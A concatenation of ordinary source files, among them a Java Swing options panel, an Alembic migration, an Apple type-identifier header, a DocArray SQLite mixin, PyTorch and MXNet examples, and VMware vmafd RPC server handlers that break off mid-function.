.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
);
}// </editor-fold>//GEN-END:initComponents
private void enableFoldsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_enableFoldsActionPerformed
if (ignoreEnableTrigger) {
return;
}
boolean enable = enableFolds.isSelected();
currentPreferences.putBoolean(SimpleValueNames.CODE_FOLDING_ENABLE, enable);
// visual feedback handled by listener.
}//GEN-LAST:event_enableFoldsActionPerformed
private void useDefaultsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_useDefaultsActionPerformed
if (ignoreEnableTrigger) {
return;
}
currentPreferences.putBoolean(FoldUtilitiesImpl.PREF_OVERRIDE_DEFAULTS,
useDefaults.isSelected());
}//GEN-LAST:event_useDefaultsActionPerformed
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JPanel content;
private javax.swing.JCheckBox contentPreview;
private javax.swing.JCheckBox enableFolds;
private javax.swing.JCheckBox foldedSummary;
private javax.swing.JPanel jPanel1;
private javax.swing.JLabel langLabel;
private javax.swing.JComboBox langSelect;
private javax.swing.JCheckBox useDefaults;
// End of variables declaration//GEN-END:variables
}
| 8,220 |
443 | """Unique Node.label
Revision ID: <KEY>
Revises: <KEY>
Create Date: 2013-12-18 12:42:30.583085
"""
# revision identifiers, used by Alembic.
revision = '<KEY>'
down_revision = '<KEY>'
from alembic import op
def upgrade():
op.create_unique_constraint('unq_node_label', 'node', ['label'])
def downgrade():
op.drop_constraint('unq_node_label', 'node')
| 143 |
416 | //
// UTAdditions.h
//
// Copyright © 2020 Apple Inc. All rights reserved.
//
#ifndef __UNIFORMTYPEIDENTIFIERS_UTADDITIONS__
#define __UNIFORMTYPEIDENTIFIERS_UTADDITIONS__
#import <UniformTypeIdentifiers/UTDefines.h>
#import <UniformTypeIdentifiers/UTType.h>
#import <Foundation/Foundation.h>
__BEGIN_DECLS
NS_ASSUME_NONNULL_BEGIN
UT_AVAILABLE_BEGIN
@interface NSString (UTAdditions)
/**
\brief Generate a path component based on a partial filename and a file
type, then append it to a copy of the receiver.
\param partialName The partial filename that should be expanded upon,
e.g. \c "readme".
\param contentType The type the resulting file should conform to, e.g.
\c UTTypePlainText.
\result A complete file path. Using the argument examples above, this method
would return a string with a last path component of \c "readme.txt".
Use this method when you have partial input from a user or other source and
need to produce a complete filename suitable for that input. For example, if
you are downloading a file from the Internet and know its MIME type, you can
use this method to ensure the correct filename extension is applied to the
URL where you save the file.
If \a partialName already has a path extension, and that path extension is
valid for file system objects of type \a contentType, no additional
extension is appended to the path component before constructing the string.
For example, if the inputs are \c "puppy.jpg" and \c UTTypeImage
respectively, then the resulting string will have a last path component of
\c "puppy.jpg" . On the other hand, if the inputs are \c "puppy.jpg" and
\c UTTypePlainText respectively, the resulting string will have a last path
component of \c "puppy.jpg.txt" . If you want to ensure any existing path
extension is replaced, you can use the \c stringByDeletingPathExtension
property first.
If the path component could not be appended, this method returns a copy of
\c self .
*/
- (NSString *)stringByAppendingPathComponent:(NSString *)partialName conformingToType:(UTType *)contentType;
/**
\brief Generate a string based on a partial filename or path and a
file type.
\param contentType The type the resulting file should conform to, e.g.
\c UTTypePlainText.
\result A complete file path. Using the argument example above and assuming
the receiver equals \c "readme" , this method would return
\c "readme.txt".
Use this method when you have partial input from a user or other source and
need to produce a complete filename suitable for that input. For example, if
you are downloading a file from the Internet and know its MIME type, you can
use this method to ensure the correct filename extension is applied to the
URL where you save the file.
If the receiver already has a path extension, and that path extension is
valid for file system objects of type \a contentType, no additional
extension is appended to the receiver before constructing the result.
For example, if the receiver equals \c "puppy.jpg" and \a contentType equals
\c UTTypeImage , then the resulting string will equal \c "puppy.jpg" . On
the other hand, if the inputs are \c "puppy.jpg" and \c UTTypePlainText
respectively, the resulting string will equal \c "puppy.jpg.txt" . If you
want to ensure any existing path extension is replaced, you can use the
\c stringByDeletingPathExtension property first.
If the extension could not be appended, this method returns a copy of
\c self .
*/
- (NSString *)stringByAppendingPathExtensionForType:(UTType *)contentType;
@end
#pragma mark -
@interface NSURL (UTAdditions)
/**
\brief Generate a path component based on a partial filename and a file
type, then append it to a copy of the receiver.
\param partialName The partial filename that should be expanded upon,
e.g. \c "readme".
\param contentType The type the resulting file should conform to, e.g.
\c UTTypePlainText.
\result A complete URL. Using the argument examples above, this method would
return a URL with a last path component of \c "readme.txt".
Use this method when you have partial input from a user or other source and
need to produce a complete filename suitable for that input. For example, if
you are downloading a file from the Internet and know its MIME type, you can
use this method to ensure the correct filename extension is applied to the
URL where you save the file.
If \a partialName already has a path extension, and that path extension is
valid for file system objects of type \a contentType, no additional
extension is appended to the path component before constructing the URL. For
example, if the inputs are \c "puppy.jpg" and \c UTTypeImage respectively,
then the resulting URL will have a last path component of \c "puppy.jpg" .
On the other hand, if the inputs are \c "puppy.jpg" and \c UTTypePlainText
respectively, the resulting URL will have a last path component of
\c "puppy.jpg.txt" . If you want to ensure any existing path extension is
replaced, you can use the \c URLByDeletingPathExtension property first.
If the path component could not be appended, this method returns a copy of
\c self .
\note The resulting URL has a directory path if \c contentType conforms to
\c UTTypeDirectory .
*/
- (NSURL *)URLByAppendingPathComponent:(NSString *)partialName conformingToType:(UTType *)contentType;
/**
\brief Generate a path component based on the last path component of the
receiver and a file type, then append it to a copy of the receiver.
\param contentType The type the resulting file should conform to, e.g.
\c UTTypePlainText.
\result A complete URL. Using the argument example above and assuming
the receiver equals \c "file:///readme" , this method would return
\c "file:///readme.txt".
Use this method when you have partial input from a user or other source and
need to produce a complete filename suitable for that input. For example, if
you are downloading a file from the Internet and know its MIME type, you can
use this method to ensure the correct filename extension is applied to the
URL where you save the file.
If the receiver already has a path extension, and that path extension is
valid for file system objects of type \a contentType, no additional
extension is appended to the path component before constructing the URL.
For example, if the receiver's last path component equals \c "puppy.jpg" and
\a contentType equals \c UTTypeImage , then the resulting URL will have a
last path component of \c "puppy.jpg" . On the other hand, if the inputs are
\c "puppy.jpg" and \c UTTypePlainText respectively, the resulting URL will
have a last path component of \c "puppy.jpg.txt" . If you want to ensure any
existing path extension is replaced, you can use the
\c URLByDeletingPathExtension property first.
If the extension could not be appended, this method returns a copy of
\c self .
\note The resulting URL has a directory path if \c contentType conforms to
\c UTTypeDirectory .
*/
- (NSURL *)URLByAppendingPathExtensionForType:(UTType *)contentType;
@end
UT_AVAILABLE_END
NS_ASSUME_NONNULL_END
__END_DECLS
#endif // __UNIFORMTYPEIDENTIFIERS_UTADDITIONS__
| 2,027 |
591 | from typing import Union, Optional, Iterable
from ..base.seqlike import BaseSequenceLikeMixin
from .... import Document
from ...memory import DocumentArrayInMemory
class SequenceLikeMixin(BaseSequenceLikeMixin):
"""Implement sequence-like methods"""
def _insert_doc_at_idx(self, doc, idx: Optional[int] = None):
if idx is None:
idx = len(self)
self._sql(
f'INSERT INTO {self._table_name} (doc_id, serialized_value, item_order) VALUES (?, ?, ?)',
(doc.id, doc, idx),
)
self._offset2ids.insert(idx, doc.id)
def _shift_index_right_backward(self, start: int):
idx = len(self) - 1
while idx >= start:
self._sql(
f'UPDATE {self._table_name} SET item_order = ? WHERE item_order = ?',
(idx + 1, idx),
)
idx -= 1
def insert(self, index: int, value: 'Document'):
"""Insert `doc` at `index`.
:param index: Position of the insertion.
:param value: The doc needs to be inserted.
"""
length = len(self)
if index < 0:
index = length + index
index = max(0, min(length, index))
self._shift_index_right_backward(index)
self._insert_doc_at_idx(doc=value, idx=index)
self._commit()
def append(self, doc: 'Document') -> None:
self._sql(
f'INSERT INTO {self._table_name} (doc_id, serialized_value, item_order) VALUES (?, ?, ?)',
(doc.id, doc, len(self)),
)
self._offset2ids.append(doc.id)
self._commit()
def __del__(self) -> None:
super().__del__()
if not self._persist:
self._sql(
'DELETE FROM metadata WHERE table_name=? AND container_type=?',
(self._table_name, self.__class__.__name__),
)
self._sql(f'DROP TABLE IF EXISTS {self._table_name}')
self._commit()
def __contains__(self, item: Union[str, 'Document']):
if isinstance(item, str):
r = self._sql(f'SELECT 1 FROM {self._table_name} WHERE doc_id=?', (item,))
return len(list(r)) > 0
elif isinstance(item, Document):
return item.id in self # fall back to str check
else:
return False
def __len__(self) -> int:
request = self._sql(f'SELECT COUNT(*) FROM {self._table_name}')
return request.fetchone()[0]
def __repr__(self):
return f'<DocumentArray[SQLite] (length={len(self)}) at {id(self)}>'
def __eq__(self, other):
"""In sqlite backend, data are considered as identical if configs point to the same database source"""
return (
type(self) is type(other)
and type(self._config) is type(other._config)
and self._config == other._config
)
def extend(self, docs: Iterable['Document']) -> None:
self_len = len(self)
for doc in docs:
self._sql(
f'INSERT INTO {self._table_name} (doc_id, serialized_value, item_order) VALUES (?, ?, ?)',
(doc.id, doc, self_len),
)
self._offset2ids.append(doc.id)
self_len += 1
self._commit()
| 1,542 |
14,499 | <reponame>JacobBarthelmeh/infer
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
package android.view;
public class View {
public <T extends View> T findViewById(int id) {
// STUB: we need signature for tests; implementation is not tested
return null;
}
public void setId(int id) {
// STUB: we need signature for tests; implementation is not tested
}
}
| 155 |
6,424 | <reponame>hwong557/tutorials
#include <torch/torch.h>
#include <torch/script.h>
#include <ATen/NamedTensorUtils.h>
using torch::Tensor;
using torch::DeviceType;
using torch::autograd::tensor_list;
using torch::autograd::AutogradContext;
// BEGIN myadd
Tensor myadd(const Tensor& self, const Tensor& other) {
static auto op = torch::Dispatcher::singleton()
.findSchemaOrThrow("myops::myadd", "")
.typed<decltype(myadd)>();
return op.call(self, other);
}
// END myadd
// BEGIN TORCH_LIBRARY
TORCH_LIBRARY(myops, m) {
m.def("myadd(Tensor self, Tensor other) -> Tensor");
}
// END TORCH_LIBRARY
// BEGIN myadd_cpu
Tensor myadd_cpu(const Tensor& self_, const Tensor& other_) {
TORCH_CHECK(self_.sizes() == other_.sizes());
TORCH_INTERNAL_ASSERT(self_.device().type() == DeviceType::CPU);
TORCH_INTERNAL_ASSERT(other_.device().type() == DeviceType::CPU);
Tensor self = self_.contiguous();
Tensor other = other_.contiguous();
Tensor result = torch::empty(self.sizes(), self.options());
const float* self_ptr = self.data_ptr<float>();
const float* other_ptr = other.data_ptr<float>();
float* result_ptr = result.data_ptr<float>();
for (int64_t i = 0; i < result.numel(); i++) {
result_ptr[i] = self_ptr[i] + other_ptr[i];
}
return result;
}
// END myadd_cpu
// BEGIN TORCH_LIBRARY_IMPL CPU
TORCH_LIBRARY_IMPL(myops, CPU, m) {
m.impl("myadd", myadd_cpu);
}
// END TORCH_LIBRARY_IMPL CPU
Tensor myadd_cuda(const Tensor& self, const Tensor& other) {
// Insert your CUDA implementation here
TORCH_CHECK(0, "CUDA not yet implemented");
}
// BEGIN TORCH_LIBRARY_IMPL CUDA
TORCH_LIBRARY_IMPL(myops, CUDA, m) {
m.impl("myadd", myadd_cuda);
}
// END TORCH_LIBRARY_IMPL CUDA
// BEGIN myadd_autograd
class MyAddFunction : public torch::autograd::Function<MyAddFunction> {
public:
static Tensor forward(
AutogradContext *ctx, torch::Tensor self, torch::Tensor other) {
at::AutoNonVariableTypeMode g;
return myadd(self, other);
}
static tensor_list backward(AutogradContext *ctx, tensor_list grad_outputs) {
auto grad_output = grad_outputs[0];
return {grad_output, grad_output};
}
};
Tensor myadd_autograd(const Tensor& self, const Tensor& other) {
return MyAddFunction::apply(self, other)[0];
}
// END myadd_autograd
// BEGIN TORCH_LIBRARY_IMPL Autograd
TORCH_LIBRARY_IMPL(myops, Autograd, m) {
m.impl("myadd", myadd_autograd);
}
// END TORCH_LIBRARY_IMPL Autograd
#if 0
// BEGIN TORCH_LIBRARY_IMPL Named
Tensor myadd_named(const Tensor& self, const Tensor& other) {
// TODO: shouldn't need to do size check here
TORCH_CHECK(self.sizes() == other.sizes());
auto maybe_outnames = at::unify_from_right(self.names(), other.names());
auto result = ([&]() {
at::NoNamesGuard guard;
return myadd(self, other);
})();
at::namedinference::propagate_names_if_nonempty(result, maybe_outnames);
return result;
}
TORCH_LIBRARY_IMPL(myops, Named, m) {
m.impl("myadd", myadd_named);
}
// END TORCH_LIBRARY_IMPL Named
#endif
| 1,176 |
4,253 | package com.mashibing.eurekaserver;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.client.loadbalancer.LoadBalanced;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.client.RestTemplate;
import com.netflix.loadbalancer.IRule;
import com.netflix.loadbalancer.RandomRule;
import com.netflix.loadbalancer.RetryRule;
@SpringBootApplication
public class EurekaProviderApplication {
public static void main(String[] args) {
SpringApplication.run(EurekaProviderApplication.class, args);
}
@Bean
@LoadBalanced
RestTemplate getRestTemplate() {
RestTemplate restTemplate = new RestTemplate();
restTemplate.getInterceptors().add(new LoggingClientHttpRequestInterceptor());
return restTemplate;
}
// @Bean
// public IRule myRule(){
// //return new RoundRobinRule();
// //return new RandomRule();
// return new RandomRule();
// }
}
| 320 |
317 | <reponame>yaozhang2016/deepwater
/*!
* Copyright (c) 2016 by Contributors
*/
#include <string>
#include <vector>
#include <map>
#include "initializer.h"
#include "network_def.hpp"
using namespace mxnet::cpp;
Symbol MLPSymbol() {
Symbol data = Symbol::Variable("data");
Symbol data_label = Symbol::Variable("softmax_label");
Symbol inputdropout = Dropout("dropout0", data, 0.1);
Symbol fc1_w("fc1_w"), fc1_b("fc1_b");
Symbol fc1 = FullyConnected("fc1", data, fc1_w, fc1_b, 4096);
Symbol act1 = Activation("relu1", fc1, "relu");
Symbol dropout1 = Dropout("dropout1", fc1, 0.5);
Symbol fc2_w("fc2_w"), fc2_b("fc2_b");
Symbol fc2 = FullyConnected("fc2", act1, fc2_w, fc2_b, 4096);
Symbol act2 = Activation("relu2", fc2, "relu");
Symbol dropout2 = Dropout("dropout2", fc2, 0.5);
Symbol fc3_w("fc3_w"), fc3_b("fc3_b");
Symbol fc3 = FullyConnected("fc3", act2, fc3_w, fc3_b, 4096);
Symbol act3 = Activation("relu3", fc3, "relu");
Symbol dropout3 = Dropout("dropout3", fc3, 0.5);
Symbol fc4_w("fc4_w"), fc4_b("fc4_b");
Symbol fc4 = FullyConnected("fc4", act3, fc4_w, fc4_b, 10);
return SoftmaxOutput("softmax", fc4, data_label);
}
int main(int argc, char const *argv[]) {
int batch_size = 128;
int W = 28;
int H = 28;
int channels = 1;
Shape shape(batch_size, channels, W, H);
int max_epoch = 100;
float learning_rate = 1e-2;
float weight_decay = 1e-6;
float momentum = 0.9;
float clip_gradient = 10;
MXRandomSeed(42);
auto net = MLPSymbol();
//net.Save("/tmp/mx.json");
std::map<std::string, NDArray> args_map;
std::map<std::string, NDArray> aux_map;
#if MSHADOW_USE_CUDA == 0
Context ctx_dev = Context(DeviceType::kCPU, 0);
#else
Context ctx_dev = Context(DeviceType::kGPU, 0);
#endif
args_map["data"] = NDArray(shape, ctx_dev);
args_map["softmax_label"] = NDArray(Shape(batch_size), ctx_dev);
net.InferArgsMap(ctx_dev, &args_map, args_map);
auto train_iter = MXDataIter("MNISTIter")
.SetParam("image", "./train-images-idx3-ubyte")
.SetParam("label", "./train-labels-idx1-ubyte")
.SetParam("data_shape", shape)
.SetParam("batch_size", batch_size)
.SetParam("shuffle", 0)
.CreateDataIter();
auto val_iter = MXDataIter("MNISTIter")
.SetParam("image", "./t10k-images-idx3-ubyte")
.SetParam("label", "./t10k-labels-idx1-ubyte")
.SetParam("data_shape", shape)
.SetParam("batch_size", batch_size)
.CreateDataIter();
Optimizer opt("ccsgd", learning_rate, weight_decay);
opt.SetParam("momentum", momentum)
.SetParam("rescale_grad", 1.0 / batch_size)
.SetParam("clip_gradient", clip_gradient);
auto * exec = net.SimpleBind(ctx_dev, args_map);
args_map = exec->arg_dict();
Xavier xavier = Xavier(Xavier::gaussian, Xavier::in, 2.34);
for (auto &arg : args_map) {
xavier(arg.first, &arg.second);
}
aux_map = exec->aux_dict();
for (auto &aux : aux_map) {
xavier(aux.first, &aux.second);
}
for (int iter = 0; iter < max_epoch; ++iter) {
Accuracy train_acc;
LG << "Epoch: " << iter;
train_iter.Reset();
while (train_iter.Next()) {
auto data_batch = train_iter.GetDataBatch();
data_batch.data.CopyTo(&args_map["data"]);
data_batch.label.CopyTo(&args_map["softmax_label"]);
NDArray::WaitAll();
exec->Forward(true);
exec->Backward();
exec->UpdateAll(&opt, learning_rate, weight_decay);
NDArray::WaitAll();
train_acc.Update(data_batch.label, exec->outputs[0]);
}
LG << "Training Acc: " << train_acc.Get();
Accuracy acu;
val_iter.Reset();
while (val_iter.Next()) {
auto data_batch = val_iter.GetDataBatch();
data_batch.data.CopyTo(&args_map["data"]);
data_batch.label.CopyTo(&args_map["softmax_label"]);
NDArray::WaitAll();
exec->Forward(false);
NDArray::WaitAll();
acu.Update(data_batch.label, exec->outputs[0]);
}
LG << "Val Acc: " << acu.Get();
}
delete exec;
MXNotifyShutdown();
return 0;
}
| 1,714 |
357 | /*
* Copyright © 2012-2015 VMware, Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”); you may not
* use this file except in compliance with the License. You may obtain a copy
* of the License at http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS, without
* warranties or conditions of any kind, EITHER EXPRESS OR IMPLIED. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
#include "includes.h"
void VmAfdCloseFileCRLFileHandle(void **ctx);
DWORD
Srv_VmAfdRpcGetStatus(
handle_t hBinding, /* IN */
PVMAFD_STATUS pStatus /* IN OUT */
)
{
DWORD dwError = 0;
/* ncalrpc is needed for self-ping operation at startup */
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_NCALRPC
| VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
BAIL_ON_VMAFD_INVALID_POINTER(pStatus, dwError);
*pStatus = VmAfdSrvGetStatus();
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetStatus failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetDomainName(
rpc_binding_handle_t hBinding, /* IN */
PWSTR* ppwszDomain /* OUT */
)
{
DWORD dwError = 0;
PWSTR pwszDomain = NULL;
PWSTR pwszDomain_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszDomain, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetDomainName(&pwszDomain);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszDomain, &pwszDomain_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszDomain = pwszDomain_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszDomain);
return dwError;
error:
if (ppwszDomain)
{
*ppwszDomain = NULL;
}
if (pwszDomain_rpc)
{
VmAfdRpcServerFreeMemory(pwszDomain_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetDomainName failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcSetDomainName(
rpc_binding_handle_t hBinding, /* IN */
PWSTR pwszDomain /* IN */
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
if IsNullOrEmptyString(pwszDomain)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvSetDomainName(pwszDomain);
BAIL_ON_VMAFD_ERROR(dwError);
VmAfdLog(VMAFD_DEBUG_ANY, "VmAfdRpcSetDomainName succeeded.");
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcSetDomainName failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetDomainState(
rpc_binding_handle_t hBinding, /* IN */
PVMAFD_DOMAIN_STATE pDomainState /* OUT */
)
{
DWORD dwError = 0;
VMAFD_DOMAIN_STATE domainState = VMAFD_DOMAIN_STATE_NONE;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(pDomainState, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetDomainState(&domainState);
BAIL_ON_VMAFD_ERROR(dwError);
*pDomainState = domainState;
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetDomainState failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetLDU(
rpc_binding_handle_t hBinding, /* IN */
PWSTR* ppwszLDU /* OUT */
)
{
DWORD dwError = 0;
PWSTR pwszLDU = NULL;
PWSTR pwszLDU_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszLDU, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetLDU(&pwszLDU);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszLDU, &pwszLDU_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszLDU = pwszLDU_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszLDU);
return dwError;
error:
if (ppwszLDU)
{
*ppwszLDU = NULL;
}
if (pwszLDU_rpc)
{
VmAfdRpcServerFreeMemory(pwszLDU_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetLDU failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetRHTTPProxyPort(
rpc_binding_handle_t hBinding,
PDWORD pdwPort
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
DWORD dwPort = 0;
BAIL_ON_VMAFD_INVALID_POINTER(pdwPort, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetRHTTPProxyPort(&dwPort);
BAIL_ON_VMAFD_ERROR(dwError);
*pdwPort = dwPort;
cleanup:
return dwError;
error:
if (pdwPort)
{
*pdwPort = 0;
}
VmAfdLog(VMAFD_DEBUG_ERROR, "RpcVmAfdGetRHTTPProxyPort failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcSetRHTTPProxyPort(
rpc_binding_handle_t hBinding, /* IN */
DWORD dwPort /* IN */
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvSetRHTTPProxyPort(dwPort);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcSetRHTTPProxyPort failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcSetDCPort(
rpc_binding_handle_t hBinding, /* IN */
DWORD dwPort /* IN */
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvSetDCPort(dwPort);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcSetDCPort failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcSetLDU(
rpc_binding_handle_t hBinding, /* IN */
PWSTR pwszLDU /* IN */
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
if IsNullOrEmptyString(pwszLDU)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvSetLDU(pwszLDU);
BAIL_ON_VMAFD_ERROR(dwError);
VmAfdLog(VMAFD_DEBUG_ANY, "VmAfdRpcSetLDU succeeded.");
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcSetLDU failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetCMLocation(
rpc_binding_handle_t hBinding, /* IN */
PWSTR* ppwszCMLocation /* OUT */
)
{
DWORD dwError = 0;
PWSTR pwszCMLocation = NULL;
PWSTR pwszCMLocation_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszCMLocation, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetCMLocation(&pwszCMLocation);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszCMLocation, &pwszCMLocation_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszCMLocation = pwszCMLocation_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszCMLocation);
return dwError;
error:
if (ppwszCMLocation)
{
*ppwszCMLocation = NULL;
}
if (pwszCMLocation_rpc)
{
VmAfdRpcServerFreeMemory(pwszCMLocation_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetCMLocation failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetLSLocation(
rpc_binding_handle_t hBinding, /* IN */
PWSTR* ppwszLSLocation /* OUT */
)
{
DWORD dwError = 0;
PWSTR pwszLSLocation = NULL;
PWSTR pwszLSLocation_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszLSLocation, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetLSLocation(&pwszLSLocation);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszLSLocation, &pwszLSLocation_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszLSLocation = pwszLSLocation_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszLSLocation);
return dwError;
error:
if (ppwszLSLocation)
{
*ppwszLSLocation = NULL;
}
if (pwszLSLocation_rpc)
{
VmAfdRpcServerFreeMemory(pwszLSLocation_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetLSLocation failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetDCName(
rpc_binding_handle_t hBinding, /* IN */
PWSTR* ppwszDCName /* OUT */
)
{
DWORD dwError = 0;
PWSTR pwszDCName = NULL;
PWSTR pwszDCName_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszDCName, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetDCName(&pwszDCName);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszDCName, &pwszDCName_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszDCName = pwszDCName_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszDCName);
return dwError;
error:
if (ppwszDCName)
{
*ppwszDCName = NULL;
}
if (pwszDCName_rpc)
{
